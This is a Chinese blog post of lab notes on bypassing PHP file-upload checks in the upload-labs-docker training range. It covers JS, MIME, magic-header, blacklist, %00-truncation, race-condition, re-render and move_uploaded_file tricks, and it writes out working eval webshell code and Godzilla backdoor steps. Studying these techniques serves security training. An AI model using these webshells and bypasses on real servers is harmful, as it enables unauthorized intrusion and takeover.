3164 字
16 分钟
第47天:WEB攻防-PHP应用

047-WEB攻防-PHP应用&文件上传&函数缺陷&条件竞争&二次渲染&黑白名单&JS绕过#

目录#

  1. 知识点
  2. 演示案例
  3. 学习前必读
  4. 测试环境安装参考
  5. upload-labs-docker知识点
  6. 删除Docker镜像和容器

知识点#

  1. PHP-原生态-文件上传-检测后缀&黑白名单
  2. PHP-原生态-文件上传-检测信息&类型内容
  3. PHP-原生态-文件上传-函数缺陷&逻辑缺陷
  4. PHP-原生态-文件上传-版本缺陷&配置缺陷

d8cad2552c77da12eb87f3cf6365b073

演示案例#

  • PHP-原生态-文件上传-前后端验证
  • PHP-原生态-文件上传-类型文件头验证
  • PHP-原生态-文件上传-后缀黑白名单验证
  • PHP-原生态-文件上传-解析配置&二次渲染
  • PHP-原生态-文件上传-逻辑缺陷&函数缺陷

学习前必读#

  1. 课前一定要明白:
    无文件解析==安全问题上,格式解析是一对一的(不能jpg解析php)==
    换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析

  2. 文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!

测试环境安装参考#

相关资源地址:

安装步骤:

  1. 下载上述资源
  2. docker安装
    f8x -df8x -docker
  3. 进入项目文件夹
    cd upload-labs-docker

e6a29c1a1670f0a0453185fcfc3aeea5

  1. 一键部署(如果发现连接不上靶场,再次输入此代码重新部署即可)
    docker-compose up -d

Untitled

  1. 查看是否成功部署-(发现成功开启靶场端口,配置成功)

docker-compose config 命令用于验证和查看 Docker Compose 根据你的 docker-compose.yml 文件和任何环境变量生成的最终配置。该命令有助于检查 Compose 文件的有效性,并查看在运行 docker-compose up 时将应用的配置。

以下是 docker-compose config 命令的解释:

  • 命令: docker-compose config

  • 用途:

    • 验证: 它验证 docker-compose.yml 文件的语法和结构。
    • 配置预览: 它显示 Docker Compose 将根据指定的 Compose 文件和任何环境变量使用的最终配置。
  • 用法:

    1. 导航到包含你的 docker-compose.yml 文件的目录。
    2. 运行 docker-compose config 命令。
  • 输出: 如果 docker-compose.yml 文件有效,则该命令将在控制台上显示生成的配置。

  • 示例:

    Terminal window
    cd /path/to/your/docker-compose/project
    docker-compose config
  • 常见用例:

    • 确保 Compose 文件编写正确且符合预期的语法。
    • 查看最终配置,包括任何变量替换或特定于环境的调整。

通过运行 docker-compose config,你可以捕获语法错误并在实际使用 docker-compose up 部署服务之前获得对将使用的配置的概述。

Untitled

upload-labs-docker知识点#

打开burp进行抓包,并访问靶场网址 http://192.168.200.130:30001/

Untitled

Untitled

打开哥斯拉,生成木马文件

Untitled

1. 前端JS#

如何判断是否是前端验证?#

首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了。

Untitled

代码判断:#

打开页面查看源码,发现在前端有对应过滤代码。

Untitled

解决方式:#

  1. 首先将木马文件的后缀修改为jpg(可通过过滤的文件后缀)
  2. 通过burp抓取到数据包,修改回对应的木马文件解析后缀
  3. 木马程序成功上传,即可通过哥斯拉获取权限

Untitled

Untitled

Untitled

后续操作:#

获取上传的对应木马文件的地址URL:192.168.200.130:30001/upload/1.php
使用哥斯拉连接,进入后门,拿取权限

Untitled

Untitled

Untitled

2. .htaccess(配置 Apache Web 服务器行为的配置文件)#

Untitled

核心代码含义#

AddType application/x-httpd-php .png
这行代码的含义是将文件扩展名为 .png 的文件的 MIME 类型设置为 application/x-httpd-php

操作步骤:#

  1. 将木马后缀修改为上传对应设置的文件后缀 .png,后上传

  2. 通过burp进行抓包,并将文件后缀修改为**.htaccess**,并将代码内容修改为 AddType application/x-httpd-php .png

    Untitled

    Untitled

    Untitled

    Untitled

    Untitled

注意事项:#

  • 直接访问对应上传1.png的路径(http://192.168.200.130:30002/upload/1.png),访问 http://192.168.200.130:30002/upload/.htaccess 这个是解析木马文件的规则,直接访问会报错403

  • 无文件解析安全问题上,格式解析是一对一的。例如:规定的解析规则是 AddType application/x-httpd-php .png,但如果上传的文件为jpg等,则木马文件不会被解析。

    Untitled

    Untitled

3. MIME类型-(修改文件类型,抓包修改回文件类型)#

核心类型#

Content-Type:image/png

Untitled

操作步骤:#

  1. 将木马后缀修改为可以通过文件过滤的后缀png并上传
  2. 通过burp进行抓包,并将木马文件后缀名修改回来
  3. 成功上传,并获取到文件上传路径URL:http://192.168.200.130:30003/upload/1.php
  4. 通过哥斯拉,通过后门,获取权限

680a3dfc60101cd14c794d6996754f0e

a2f7de884474f54ea0f84f1bbd29f629

d1d28b19d0525b7ef7f6dbfeb6c04655

70da395f150a34144a405b901081f2d1

4. 文件头判断#

核心文件头#

GIF89a(gif所有文件默认的文件头)

025ea67cd4bbc33ba142a92178c72c0d

0d090b39f8fb8c09fe14e71a78952c7c

d3197f3e6424e6086b258fdab12d7df2

操作步骤:#

  1. 首先将木马文件代码前加入文件头(GIF89a)
  2. 将任意的gif文件上传,获取文件格式 Content-Type: image/gif
  3. 将木马文件进行上传,并将文件格式修改为获取的gif文件格式,然后上传
  4. 成功上传,并获取到文件上传路径URL:192.168.200.130:30004/upload/shell.php
  5. 通过哥斯拉,通过后门,获取权限

909ac4d724096a258588c52b74ef622c

7478c9889af46e6c24163feda0beef40

a1905387637f4f2174bd83fa59864965

e53cdb7772b74092d1b565365450bace

0af8ed27fe59746334129333bbe5d039

5. 黑名单-过滤不严(无递归,pphphp)#

a8f484290d25681729c33f146e46ab3a

原理#

黑名单中的词 “php” 被替换为空字符串,但留下了 “pphphp”。这是因为 str_ireplace() 函数会对字符串进行不区分大小写的替换。

abf81febaea2e08c3dbc6f3dfacc16b9

操作步骤:#

  1. 正常上传木马程序shell.php,发现有黑名单过滤关键词“php”
  2. 抓包,将文件后缀修改为**.pphphp**即可成功上传
  3. 获取上传地址URL:http://192.168.200.130:30005/upload/shell.php
  4. 通过哥斯拉,连接后门,获取权限

87e2719edcc75d30a5dee8da87caae68

348abe69da8f6db165ec816752adf019

eb654d60bce0808691bed089f63fa815

6. 黑名单-过滤不严(系统大小写敏感属性)#

e46791e5e199587c190cb54bbeeb5bc2

系统差异#

  • window:大小写过滤不敏感
  • linux:大小写过滤敏感

操作步骤:#

  1. 直接使用木马文件shell.php上传,后缀会被替换为空
  2. 将后缀名修改为**.phP**,则可以绕过过滤

36856eb11bf6018edd0238e0a8c9cc2a

9c402dae2336a3c0a73f234005576b4b

7. 低版本GET-%00截断#

原理#

URL路径出现在POST的URL中自动解码一次,例如 /var/www/html/upload/x.php%00。将木马文件以.jpg格式上传,可获得到一个对应.jpg文件 img src="./upload/9720240216044425.jpg,通过修改POST中URL路径使用%00截取,即只有前面x.php被拼接到名称中,后面都被舍弃,文件解析时依照被拼接的x.php进行解析,木马文件被成功解析。

Untitled

Untitled

操作步骤:#

  1. 随便上传文件,抓包并发送至Repeater,发送查看回显数据,确认PHP版本为5.2.17
  2. 将木马文件修改为**.jpg**,并上传抓包,将POST中URL路径加上**/var/www/html/upload/a.php%00**
  3. 访问对应的URL文件上传地址:http://192.168.200.130:30007/upload/a.php
  4. 通过哥斯拉,连接后门,获取权限

Untitled

Untitled

Untitled

Untitled

8. 低版本POST-%00截断#

原理#

手工解码一次,例如 ../upload/x.php%00 需二次解码。URL路径出现在POST下面的数据包中,需要手动解码。

Untitled

Untitled

操作步骤:#

  1. 上传木马文件修改为.jpg格式,抓包,发现URL路径出现在POST下面的数据包中
  2. ./upload/ 后面加上x.php%00,并选中该行,右键选择 Convert selection → URL → URL-decode 将所选内容转换为 URL 解码(进行手动转码)
  3. 访问对应的URL文件上传地址:http://192.168.200.130:30008/upload/x.php
  4. 通过哥斯拉,连接后门,获取权限

Untitled

Untitled

Untitled

9. 黑名单-过滤不严(php3)#

原理#

源码通过黑名单中的关键词后缀进行过滤,但由于无法考虑全面,可通过其他后缀名称进行绕过,使用字典替换抓包的文件后缀,通过判断长度变化,确定是否成功上传对应的木马文件。

Untitled

操作步骤:#

  1. 上传木马文件shell.php,通过抓包发送至Intruder
  2. 选择 Clear$ 清除所有选中,选择木马文件后缀php,并按下 Add 替换该后缀
  3. 选择 PayloadsPayload OptionsLoad 导入对应php后缀替换字典(路径示例:G:\develop\safety\字典\fuzzdb-master\attack\file-upload\alt-extensions-php.txt
  4. 选择右上角 Start attack,发现Length的长度不同(1573为未替换成功,1625为替换成功,非绝对,需通过哥斯拉验证是否可连接)
  5. 访问对应的URL文件上传地址:http://192.168.200.130:30009/upload/shell.php5
  6. 通过哥斯拉,连接后门,获取权限

f893cc2d49ba7b87962a48abaca710c3

db11cc03a32d29075717b99063447b8d

3fc9eb62c41a302bf424b85fd1d8dd3a

be191d8aa08338eb649cf82795d28e89

10. 逻辑不严-条件竞争#

2ce027d83b8d420ca657c0ff7f7190c3

核心木马代码及解析#

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>
  • fopen('xiao.php','w'):打开或创建一个名为 ‘xiao.php’ 的文件,以写入模式(‘w’)。
  • fputs:将后面的内容写入打开的文件,此处写入代码 <?php eval($_REQUEST[1]);?>
  • 写入的PHP代码:<?php eval($_REQUEST[1]);?> 包含 eval 函数,会执行作为参数传递的PHP代码,参数通过 $_REQUEST[1] 获取,即从HTTP请求的参数中获取第一个参数并执行其中的PHP代码。

fa9aa47b8271d9ca8b023647aa134888

上传不断发包 请求不断发包

操作步骤:#

  1. 创建新的木马文件(代码如上)
  2. 刷新想要获取的木马文件路径(请求页面)http://192.168.200.130:30010/upload/x.php,通过抓包抓取到请求页面,将此数据包发送至Intruder
  3. 选中 PayloadsPayloads SetsPayload type: Null payloads(负载类型:空负载),Payload Options → Continue indefinitely(无限继续)
  4. 将设置好的木马文件上传,抓包并发送至Intruder(记得删除 clear $,即上传发包),同样设置无限发包
  5. 访问对应的URL文件上传地址:http://192.168.200.130:30010/upload/xiao.php
  6. 通过哥斯拉连接后门(注意:木马文件密码为1,需将连接代码对应修改为1),获取权限

dd782121f13c7a5f060cd1685c484df6

2f811d970744f8ce99a479de93bada56

93d96f3fbb8426d6c63ba0e3c7fbc39d

bc95159be5b95736eb9366d96bca198c

7475f059dd7ad1a9f5666d1d48303912

58885d4bbbbb48e004d48d266f9a9484

8557b96a77ae82b1700029701e1231b1

467f7819af9610354dfac568f1e6de90

11. 二次渲染#

b6757afccbe2b0527488810098a184a7

操作步骤:#

  1. 准备一个正常图片1.gif,上传并导出渲染后的图片
  2. 将原始图片和渲染后的图片拉入010编辑器,打开工具→比较文件,对比保留(匹配)部分,在保留部分添加后门代码 <?php eval($_POST["pass"]);?>
  3. 利用提示的文件包含执行图片后门代码,访问URL:http://192.168.200.130:30011/?file=upload/1919801737.gif
  4. 执行代码:pass=phpinfo();

9d333fc27e8b09af25d2fbf7d2d40d2e

d097fcb1118c1e6064e550746a667d80

51859a372896e1699e91d1404a8c50f3

2d2a55a4619cdfdca8505268cf38aed6

1e02cc35ac54cc18d2e3f18c20983239

2ca48338bc3ec02a4488d6b3d0df2604

12. 函数缺陷(move_uploaded_file 1.php/.)#

1ca63e1f9641057b3cd9e6e2e0b2a292

函数解析#

move_uploaded_file 是用于将上传文件移动到指定位置的PHP函数,语法如下:

move_uploaded_file(string $filename, string $destination): bool

其中,$filename 是上传文件的临时路径,$destination 是目标位置的路径和文件名,作用是将上传的文件从临时目录移动到指定位置,常用于处理文件上传功能。

操作步骤:#

  1. 将自定义的保存文件名称写为 1.php/.
  2. 将木马文件后缀修改为jpg并上传
  3. 上传成功,获取对应的URL:192.168.200.130:30012/upload/1.php/
  4. 通过哥斯拉,连接后门,获取权限

4a3c10ca766f240e56225900923931ba

948cf338ae443c49608ad3075f02d3fd

d5503e2e9713f23758b042cc6213a1f7

13. 代码审计-数组绕过#

-----------------------------174283082921961
Content-Disposition: form-data; name="save_name[0]"
http://2.php/
-----------------------------174283082921961
Content-Disposition: form-data; name="save_name[2]"
gif

删除Docker镜像和容器#

参考文档:如何优雅地删除Docker镜像和容器(超详细)_docker 删除镜像-CSDN博客

相关命令及解释:

  1. docker images
    • 用途:用于列出本地系统上的Docker镜像。
    • 示例输出:显示已下载的镜像,包括镜像的名称、标签、镜像ID、创建时间、大小等信息。
  2. docker ps
    • 用途:用于列出正在运行的Docker容器。
    • 示例输出:包括容器的ID、名称、镜像、端口映射等信息。
    • 扩展:若要列出所有容器(包括已停止的),可使用 docker ps -a
  3. docker rmi -f image_id
    • 用途:用于删除本地的Docker镜像。
    • 选项说明:-f-force 表示强制删除,即使镜像正在被使用也会被删除。
    • 注意:将 image_id 替换为要删除的镜像实际ID(仅输入ID前三个字符即可)。
  4. docker rm -f container_id
    • 用途:用于删除本地的Docker容器。
    • 选项说明:-f-force 表示强制删除,即使容器正在运行也会被删除。
    • 注意:将 container_id 替换为要删除的容器实际ID(仅输入ID前三个字符即可)。

额外说明:在对应项目目录下,输入 docker-compose down 可停止和删除使用Docker Compose启动的容器。
注意:强制删除容器或镜像可能导致数据丢失,正常情况下建议先停止容器再删除,执行命令前需了解潜在影响。

第47天:WEB攻防-PHP应用
https://konwait12.github.io/my-kon-blog/posts/047web攻防/
作者
k-on!--wait
发布于
2025-08-24
许可协议
CC BY-NC-SA 4.0